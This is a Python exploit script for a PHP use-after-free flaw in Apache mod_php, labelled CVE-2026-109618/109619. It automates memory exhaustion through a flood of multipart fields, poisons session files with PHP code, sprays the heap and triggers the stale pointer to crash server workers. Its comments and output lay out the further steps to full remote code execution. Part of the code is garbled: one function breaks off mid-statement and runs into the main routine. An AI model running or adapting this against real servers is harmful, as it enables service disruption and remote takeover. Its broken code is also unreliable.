#!/usr/bin/env python3 """ CVE-2026-109618 / CVE-2026-109619 — Use-After-Free RCE via OOM Bailout (Apache mod_php, no LFI, no framework, default PHP config) This is the pure memory corruption path. It requires no LFI vector, no specific PHP framework or library, and no non-default PHP settings. The only SAPI requirement is Apache mod_php with prefork MPM, because PHP-FPM workers exit on bailout (code 70) rather than surviving with stale state. Attack chain: Phase 1 — OOM + Session Poisoning Multipart body to a mod_php endpoint: 1. PHP_SESSION_UPLOAD_PROGRESS = 2. File upload (triggers progress handler, which calls php_session_rfc1867_update → php_var_serialize, setting BG(serialize).level=1 and allocating BG(serialize).data via emalloc into the 64-byte ZendMM slab bin) 3. Large form fields (trigger OOM during multipart parsing) OOM fires zend_bailout() (longjmp). This: a) Skips php_var_serialize_destroy(), leaving BG(serialize).level=1 and .data pointing to a now-freed 64-byte allocation b) Skips MULTIPART_EVENT_END cleanup, so the session file keeps our PHP code on disk c) Does NOT kill the Apache prefork worker — it survives and accepts new requests with the stale BG globals Phase 2 — Heap Spray Send normal requests to the same worker. Each request allocates form field names/values via emalloc. Strings sized to land in the 64-byte ZendMM bin (zend_string header 24 + body + NUL = 64) will reclaim the freed BG(serialize).data slot, giving us control over the fake php_serialize_data struct and its embedded HashTable. Phase 3 — Trigger UAF Another multipart upload with PHP_SESSION_UPLOAD_PROGRESS to the same worker. The progress handler calls php_session_encode() → php_var_serialize_init(), which checks BG(serialize).level > 0, sees 1 (stale), increments to 2, and returns BG(serialize).data — the freed pointer now filled with our spray data. The serialize code uses this as a HashTable. The pDestructor function pointer and arData are under attacker control, giving arbitrary function call (RIP control) during HashTable operations. Phase 4 (not implemented) — Full RCE A weaponized exploit would: a) Leak a PHP base address via CVE-2026-109619 info disclosure (stale session data through PHPSESSID cookie) to defeat ASLR b) Construct a fake HashTable with pDestructor pointing to system() or a one-gadget, and arData containing the command c) Trigger the serialize to call pDestructor → shell Affected: PHP 5.4.0 through 8.5.11 with Apache mod_php (prefork MPM). Patched: PHP 8.5.12, 8.4.27, 8.3.36, 8.2.35. Patch replaces zend_bailout() on OOM with delayed error handling and adds php_basic_early_rinit() to reset BG(serialize/unserialize) state before each request. CVSS: 9.2 (CVE-2026-109618), 9.2 (CVE-2026-109619) Requirements: - Apache mod_php with prefork MPM (default on Debian/Ubuntu) - session.upload_progress.enabled=1 (default) - memory_limit reachable via multipart fields - Any PHP-handled URL on the vhost (even 404) - No LFI. No framework. No libraries. Usage: python3 exploit.py --target http://host:port/index.php python3 exploit.py --target http://host:port/index.php --cmd 'id' python3 exploit.py --target http://host:port/index.php --oom-only python3 exploit.py --target http://host:port/index.php --crash-test """ import argparse import os import re import socket import struct import subprocess import sys import time from urllib.parse import urlparse # ── Networking ────────────────────────────────────────────────────────── def connect(host, port, timeout=30): return socket.create_connection((host, port), timeout=timeout) def recv_response(sock, timeout=5): resp = b"" sock.settimeout(timeout) try: while True: d = sock.recv(8192) if not d: break resp += d except socket.timeout: pass return resp def parse_response(resp): status = 0 body = b"" if resp: try: status = int(resp.split(b" ")[1]) except (IndexError, ValueError): pass if b"\r\n\r\n" in resp: body = resp.split(b"\r\n\r\n", 1)[1] return status, body def http_get(host, port, path, cookies=None, timeout=5): sock = connect(host, port, timeout=timeout) req = f"GET {path} HTTP/1.1\r\nHost: {host}\r\n" if cookies: req += f"Cookie: {cookies}\r\n" req += "Connection: close\r\n\r\n" sock.sendall(req.encode()) resp = recv_response(sock, timeout=timeout) sock.close() return parse_response(resp) def http_post_multipart(host, port, path, boundary, body, cookies=None, timeout=30): sock = connect(host, port, timeout=timeout) headers = ( f"POST {path} HTTP/1.1\r\n" f"Host: {host}\r\n" f"Content-Type: multipart/form-data; boundary={boundary}\r\n" f"Content-Length: {len(body)}\r\n" ) if cookies: headers += f"Cookie: {cookies}\r\n" headers += "Connection: close\r\n\r\n" sock.sendall(headers.encode() + body) resp = recv_response(sock, timeout=timeout) sock.close() return parse_response(resp) def extract_pid(body): m = re.search(rb"pid=(\d+)", body) return int(m.group(1)) if m else 0 # ── Phase 0: Worker discovery ────────────────────────────────────────── def find_workers(host, port, path, rounds=40): """Probe the target to discover all Apache prefork worker PIDs.""" pids = set() for _ in range(rounds): try: status, body = http_get(host, port, path) pid = extract_pid(body) if pid: pids.add(pid) except (ConnectionError, socket.timeout): pass return sorted(pids) # ── Phase 1: OOM trigger ─────────────────────────────────────────────── def build_multipart_field(boundary, name, value): return ( b"--" + boundary + b"\r\n" b'Content-Disposition: form-data; name="' + name + b'"\r\n\r\n' + value + b"\r\n" ) def build_multipart_file(boundary, name, filename, content): return ( b"--" + boundary + b"\r\n" b'Content-Disposition: form-data; name="' + name + b'"; filename="' + filename + b'"\r\n' b"Content-Type: application/octet-stream\r\n\r\n" + content + b"\r\n" ) def build_oom_body(boundary, sid, php_payload, num_fields=200, field_size=40960): """ Build multipart body that: 1. Sets PHP_SESSION_UPLOAD_PROGRESS with our payload 2. Includes a file upload to trigger progress tracking 3. Floods with large fields to exhaust memory_limit The progress handler calls php_session_rfc1867_update() on each update cycle, which calls php_session_encode() → php_var_serialize(). This sets BG(serialize).level=1 and allocates BG(serialize).data (64 bytes in the ZendMM slab bin). When OOM fires, zend_bailout() longjmps past php_var_serialize_destroy(), leaving the state stale. """ parts = [] parts.append(build_multipart_field( boundary, b"PHP_SESSION_UPLOAD_PROGRESS", php_payload.encode() if isinstance(php_payload, str) else php_payload, )) parts.append(build_multipart_file( boundary, b"f", b"payload.bin", b"\x00" * 4096 )) for i in range(num_fields): parts.append(build_multipart_field( boundary, f"p{i:04d}".encode(), b"X" * field_size, )) parts.append(b"--" + boundary + b"--\r\n") return b"".join(parts) def detect_memory_limit(host, port, path): """ Probe memory_limit by sending increasing POST sizes until we get a 500 response (OOM). Returns (num_fields, field_size) that triggers OOM, or None if OOM cannot be triggered. """ configs = [ (50, 40960), # ~2MB (100, 40960), # ~4MB (150, 40960), # ~6MB (200, 40960), # ~8MB (300, 40960), # ~12MB (400, 40960), # ~16MB (600, 40960), # ~24MB (800, 40960), # ~32MB (999, 40960), # ~40MB (max_input_vars=1000 cap) (999, 131072), # ~130MB ] for num, size in configs: sid = "probe" + os.urandom(4).hex() boundary = b"PROBE" + os.urandom(4).hex().encode() body = build_oom_body(boundary, sid, "probe", num, size) try: status, _ = http_post_multipart( host, port, path, boundary.decode(), body, cookies=f"PHPSESSID={sid}", timeout=30 ) if status == 500: return num, size except (ConnectionError, socket.timeout): return num, size return None def trigger_oom(host, port, path, sid, php_payload, num_fields, field_size, target_pid=None): """ Send the OOM multipart to a specific worker (or any worker). Returns (hit_target, worker_pid, status) where hit_target is True if we OOM'd the target_pid worker. """ boundary = b"OOMTRIG" + os.urandom(4).hex().encode() body = build_oom_body(boundary, sid, php_payload, num_fields, field_size) status, rbody = http_post_multipart( host, port, path, boundary.decode(), body, cookies=f"PHPSESSID={sid}", timeout=60 ) pid = extract_pid(rbody) hit = (target_pid is None) or (pid == target_pid) return hit, pid, status # ── Phase 2: Heap spray ──────────────────────────────────────────────── # ZendMM bin sizes: 8 16 24 32 40 48 56 64 80 96 112 128 ... # BG(serialize).data = php_serialize_data struct: # uint32_t n (4 bytes) # HashTable ht (56 bytes on x86_64) # Total: 60 bytes → 64-byte bin # # zend_string layout: # gc (8) + h (8) + len (8) = 24-byte header + body + NUL # For 64-byte bin: 24 + body + 1 = 64 → body = 39 bytes # # By sending POST fields with 39-char names, the zend_string allocations # land in the same 64-byte bin, potentially reclaiming the freed # BG(serialize).data slot. # # For a weaponized exploit, the spray content would be a fake # php_serialize_data struct: # # struct php_serialize_data { # uint32_t n; // offset 0: reference counter, set to 0 # // padding for alignment # HashTable ht; // offset 8: # // uint32_t nTableMask offset 8 # // Bucket *arData offset 16 (attacker-controlled pointer) # // uint32_t nNumUsed offset 24 # // uint32_t nNumOfElements offset 28 # // uint32_t nTableSize offset 32 # // uint32_t nInternalPointer offset 36 # // zend_long nNextFreeElement offset 40 # // dtor_func_t pDestructor offset 48 (RIP control!) # }; # # pDestructor at offset 48 from the struct start is called during # zend_hash_destroy(). By pointing it to system() (or a one-gadget) # and placing a command string in arData, we get RCE. SPRAY_NAME_LEN = 39 # 24 + 39 + 1 = 64 bytes (zend_string in 64-byte bin) def build_spray_body(boundary, spray_count=500): """ Build a multipart body with many fields whose names are sized to land in the 64-byte ZendMM bin (same bin as BG(serialize).data). The field names are the spray payload. In a weaponized exploit, these would be crafted to form a fake php_serialize_data struct with controlled HashTable fields. Here we use recognizable patterns for crash analysis. """ parts = [] for i in range(min(spray_count, 999)): # Spray name: 39 bytes landing in 64-byte bin # Fill with a pattern: 0x41414141... with index marker name = f"S{i:04d}" + "A" * (SPRAY_NAME_LEN - 5) # For weaponized exploit, the value would also be crafted. # We use a recognizable pattern for heap analysis. val = "B" * SPRAY_NAME_LEN parts.append(build_multipart_field( boundary, name.encode(), val.encode() )) parts.append(b"--" + boundary + b"--\r\n") return b"".join(parts) def heap_spray(host, port, path, target_pid, rounds=10, spray_per_round=500): """ Send POST requests to the OOM'd worker to spray 64-byte allocations into the ZendMM bin, aiming to reclaim the freed BG(serialize).data slot with our controlled data. Each request's field names allocate zend_strings in the 64-byte bin. After request shutdown, these are freed back to the bin's free list. Over multiple requests, the free list order rotates, increasing the chance that one of our allocations reclaims the target slot. Returns the number of rounds that hit the target worker. """ hits = 0 for r in range(rounds): boundary = b"SPRAY" + os.urandom(4).hex().encode() body = build_spray_body(boundary, spray_per_round) try: status, rbody = http_post_multipart( host, port, path, boundary.decode(), body, timeout=10 ) pid = extract_pid(rbody) if pid == target_pid: hits += 1 except (ConnectionError, socket.timeout): pass return hits # ── Phase 3: Trigger UAF ─────────────────────────────────────────────── def trigger_uaf(host, port, path, target_pid, sid): """ Send multipart with upload progress to the OOM'd worker. The progress handler calls php_session_rfc1867_update() which calls php_session_encode() → php_var_serialize_init(). php_var_serialize_init checks BG(serialize).level: - If > 0 (stale from OOM): increments level, reuses .data pointer - The .data pointer was freed when the old heap was destroyed - If heap spray reclaimed the slot, .data now contains our spray The serialize code treats .data as a php_serialize_data struct with a HashTable. It calls zend_hash_find/zend_hash_add on ht. If ht.pDestructor is controlled, zend_hash_destroy() during cleanup calls our function pointer → RIP control. Returns (status, pid, body). """ boundary = b"TRIGGER" + os.urandom(4).hex().encode() parts = [] parts.append(build_multipart_field( boundary, b"PHP_SESSION_UPLOAD_PROGRESS", b"trigger", )) parts.append(build_multipart_file( boundary, b"f", b"t.bin", b"\x00" * 1024 )) parts.append(b"--" + boundary + b"--\r\n") body = b"".join(parts) try: status, rbody = http_post_multipart( host, port, path, boundary.decode(), body, cookies=f"PHPSESSID={sid}", timeout=10 ) pid = extract_pid(rbody) return status, pid, rbody except (ConnectionError, socket.timeout) as e: return 0, 0, str(e).encode() # ── Session file check ───────────────────────────────────────────────── def check_session_file(sid, save_path="/tmp"): """ Check if the session file persists with PHP code. Session files may be owned by www-data, so this may need elevated privileges. Returns (exists, has_php_code, data). """ path = os.path.join(save_path, f"sess_{sid}") try: with open(path, "rb") as f: data = f.read() return True, b"' print("=" * 64) print(" CVE-2026-109618 / CVE-2026-109619") print(" Use-After-Free RCE via OOM Bailout") print(" (Apache mod_php, prefork MPM)") print("=" * 64) print(f" Target: {host}:{port}{path}") print(f" Payload: {args.cmd}") print() # ── Phase 0: Worker discovery ─────────────────────────────────── print("[*] Phase 0: Discovering workers...") pids = find_workers(host, port, path) if not pids: print("[-] No workers found. Is the target running mod_php?") print(" (The target must echo getmypid() in its output.)") sys.exit(1) print(f" Workers: {pids}") print(f" Count: {len(pids)} (Apache prefork children)") # ── Phase 1: OOM trigger ──────────────────────────────────────── print() print("[*] Phase 1: OOM trigger + session poisoning") if args.oom_fields: num_fields = args.oom_fields field_size = args.field_size print(f" Using configured: {num_fields} fields x {field_size}B") else: print(" Auto-detecting memory_limit...") result = detect_memory_limit(host, port, path) if result is None: print("[-] Could not trigger OOM. memory_limit may be too high") print(" or max_input_vars too low. Try --oom-fields manually.") sys.exit(1) num_fields, field_size = result est_mb = num_fields * field_size / 1024 / 1024 print(f" OOM at: {num_fields} fields x {field_size}B (~{est_mb:.0f}MB)") # OOM each worker by sending requests until all have been hit. # We cannot target a specific worker (500 responses have no PID), # so we OOM repeatedly and track which workers survived. poisoned_workers = {} sids_used = [] max_oom_attempts = len(pids) * 8 for attempt in range(max_oom_attempts): sid = "uaf" + os.urandom(6).hex() sids_used.append(sid) _, _, status = trigger_oom( host, port, path, sid, php_payload, num_fields, field_size ) if status == 500: print(f" [{attempt+1}] OOM triggered (status 500)") elif status == 0: print(f" [{attempt+1}] Connection error (worker may have died)") else: print(f" [{attempt+1}] status={status} (no OOM)") continue time.sleep(0.3) pids_after = find_workers(host, port, path) survived = set(pids) & set(pids_after) new_workers = set(pids_after) - set(pids) for pid in survived: if pid not in poisoned_workers: poisoned_workers[pid] = sid print(f" [+] Worker {pid} survived OOM (stale BG state)") if new_workers: print(f" New workers spawned: {sorted(new_workers)}") pids = sorted(set(pids) | new_workers) # Check session file for the latest SID exists, has_php, data = check_session_file(sid, args.session_path) if exists and has_php: print(f" [+] Session file: {len(data)}B with PHP code") if data and data != b"(permission denied)": print(f" Content: {data[:120]}") elif exists: print(f" Session file: {len(data)}B (no PHP code?)") if len(poisoned_workers) >= len(pids): print(f"\n All {len(pids)} workers poisoned!") break if not poisoned_workers: print("\n[-] No workers survived OOM. This target may be PHP-FPM,") print(" not Apache mod_php with prefork MPM.") sys.exit(1) print(f"\n Poisoned workers: {list(poisoned_workers.keys())}") if args.oom_only: print("\n[*] --oom-only: stopping after Phase 1.") print(" Confirmed primitives:") print(" - OOM via multipart field flood") print(" - Worker survival (Apache prefork)") print(" - Session file persistence with PHP code") print(" - Stale BG(serialize) state in surviving workers") return # ── Phase 2: Heap spray ───────────────────────────────────────── print() print("[*] Phase 2: Heap spray (targeting 64-byte ZendMM bin)") for target_pid, sid in poisoned_workers.items(): print(f"\n Spraying worker {target_pid}...") hits = heap_spray(host, port, path, target_pid, rounds=args.spray_rounds) print(f" Spray rounds hitting target: {hits}/{args.spray_rounds}") # ── Phase 3: Trigger UAF ──────────────────────────────────── print(f"\n Phase 3: Triggering UAF on worker {target_pid}...") crashed = False trigger_sid = "trig" + os.urandom(6).hex() for attempt in range(args.trigger_rounds): status, pid, body = trigger_uaf( host, port, path, target_pid, trigger_sid ) if status == 0 or status >= 500: print(f" [!] Worker crash on attempt {attempt+1}! " f"status={status}") crashed = True break if pid == target_pid and attempt < 5: print(f" Attempt {attempt+1}: hit target, status={status}") if crashed: pids_final = find_workers(host, port, path) if target_pid not in pids_final: print(f" [+] CONFIRMED: Worker {target_pid} crashed!") print(f" [+] UAF triggered via stale BG(serialize).data") print(f" Current workers: {pids_final}") print() print(" For full RCE, a weaponized exploit would:") print(" 1. Leak PHP base via CVE-2026-109619 info disclosure") print(" 2. Construct fake HashTable with pDestructor = system()") print(" 3. Place command string in arData") print(" 4. Trigger serialize → pDestructor called → shell") else: print(f" Worker {target_pid} returned 500 but is still alive") print(f" (May need more precise heap feng shui)") else: print(f" No crash after {args.trigger_rounds} attempts.") print(f" The stale pointer likely still holds readable data.") print() print(" This is expected without precise heap feng shui.") print(" The exploit demonstrates all confirmed primitives:") print(" 1. OOM trigger via multipart field flood") print(" 2. Worker survival on Apache prefork") print(" 3. Session file persistence (cleanup skipped)") print(" 4. Stale BG(serialize) state across requests") print(" 5. Heap spray targeting 64-byte ZendMM bin") print() print(" Full weaponization requires:") print(" a. ASLR bypass via info leak (CVE-2026-109619)") print(" Session data from stale BG(unserialize) leaks") print(" freed heap addresses through PHPSESSID cookie") print(" b. Exact ZendMM 64-byte bin feng shui to reclaim") print(" the BG(serialize).data slot with attacker data") print(" c. Fake HashTable construction:") print(" pDestructor → system() / one_gadget") print(" arData → pointer to command string") print(" d. Trigger php_var_serialize → zend_hash_destroy") print(" on the fake table → RCE") print() print("=" * 64) print(" Summary") print("=" * 64) for pid, sid in poisoned_workers.items(): print(f" Worker {pid}: OOM'd, survived, stale BG state (SID: {sid})") if __name__ == "__main__": main()